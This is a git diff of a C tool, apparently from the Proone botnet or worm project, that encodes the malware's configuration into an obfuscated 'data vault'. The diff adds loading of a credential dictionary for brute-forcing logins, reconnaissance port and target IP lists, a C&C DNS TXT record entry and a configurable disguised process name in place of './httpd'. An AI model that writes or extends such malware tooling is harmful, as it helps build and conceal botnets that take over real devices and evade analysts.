diff options
Diffstat (limited to 'src/proone-mkdvault.c')
-rw-r--r-- | src/proone-mkdvault.c | 51 |
1 files changed, 46 insertions, 5 deletions
diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c index 68c7abe..bcdc27b 100644 --- a/src/proone-mkdvault.c +++ b/src/proone-mkdvault.c @@ -11,6 +11,7 @@ #include <assert.h> #include <unistd.h> +#include <fcntl.h> #include <mbedtls/entropy.h> #include <mbedtls/ctr_drbg.h> @@ -23,16 +24,17 @@ */ static struct { - const void *data; + void *data; size_t size; prne_dvault_mask_result_t encoded; uint16_t pos; prne_data_type_t type; bool set; + bool ownership; } ENTRIES[NB_PRNE_DATA_KEY]; #define add_cstr(key, cstr) {\ - static const char STR[] = cstr;\ + static char STR[] = cstr;\ ENTRIES[key].data = STR;\ ENTRIES[key].size = sizeof(STR);\ ENTRIES[key].type = PRNE_DATA_TYPE_CSTR;\ @@ -40,13 +42,36 @@ static struct { } #define add_bin(key, bin_arr) {\ - static const uint8_t ARR[] = bin_arr;\ + static uint8_t ARR[] = bin_arr;\ ENTRIES[key].data = ARR;\ ENTRIES[key].size = sizeof(ARR);\ ENTRIES[key].type = PRNE_DATA_TYPE_BIN;\ ENTRIES[key].set = true;\ } +static void add_file (const prne_data_key_t key, const char *path) { + const int fd = open(path, O_RDONLY); + const off_t size = lseek(fd, 0, SEEK_END); + ssize_t f_ret; + + prne_assert(fd >= 0 && size >= 0); + prne_assert(lseek(fd, 0, SEEK_SET) == 0); + ENTRIES[key].data = prne_malloc(1, size); + ENTRIES[key].size = size; + ENTRIES[key].type = PRNE_DATA_TYPE_BIN; + ENTRIES[key].set = true; + ENTRIES[key].ownership = true; + + if (ENTRIES[key].size > 0) { + prne_assert(ENTRIES[key].data != NULL); + } + + f_ret = read(fd, ENTRIES[key].data, ENTRIES[key].size); + prne_assert(f_ret >= 0 && (size_t)f_ret == ENTRIES[key].size); + + close(fd); +} + static mbedtls_entropy_context ent; static mbedtls_ctr_drbg_context rnd; @@ -114,7 +139,7 @@ static void gen_mask (uint8_t *out) { prne_free_imap(&q); } -int main (void) { +int main (const int argc, const char **args) { int callret; uint8_t mask[256]; uint_fast16_t pos = 0; @@ -125,6 +150,10 @@ int main (void) { fprintf(stderr, "Refusing to print on terminal.\n"); return 2; } + if (argc < 2) { + fprintf(stderr, "Usage: %s <cred dict>\n", args[0]); + return 2; + } mbedtls_entropy_init(&ent); mbedtls_ctr_drbg_init(&rnd); @@ -150,7 +179,13 @@ int main (void) { add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV4, PRNE_RESOLV_NS_POOL_IPV4); add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV6, PRNE_RESOLV_NS_POOL_IPV6); add_cstr(PRNE_DATA_KEY_CNC_TXT_REC, PRNE_CNC_TXT_REC); - add_cstr(PRNE_DATA_KEY_EXEC_NAME, "./httpd"); + add_bin(PRNE_DATA_KEY_RCN_PORTS, PRNE_RCN_PORTS); + add_bin(PRNE_DATA_KEY_RCN_T_IPV4, PRNE_RCN_T_IPV4); + add_bin(PRNE_DATA_KEY_RCN_BL_IPV4, PRNE_RCN_BL_IPV4); + add_bin(PRNE_DATA_KEY_RCN_T_IPV6, PRNE_RCN_T_IPV6); + add_bin(PRNE_DATA_KEY_RCN_BL_IPV6, PRNE_RCN_BL_IPV6); + add_file(PRNE_DATA_KEY_CRED_DICT, args[1]); + add_cstr(PRNE_DATA_KEY_EXEC_NAME, PRNE_BNE_EXEC_NAME); pos += NB_PRNE_DATA_KEY * sizeof(uint16_t); @@ -241,5 +276,11 @@ int main (void) { write(STDOUT_FILENO, m_out, pos) == (ssize_t)pos, "dumping on stdout"); + for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) { + if (ENTRIES[i].ownership) { + prne_free(ENTRIES[i].data); + } + } + return 0; } |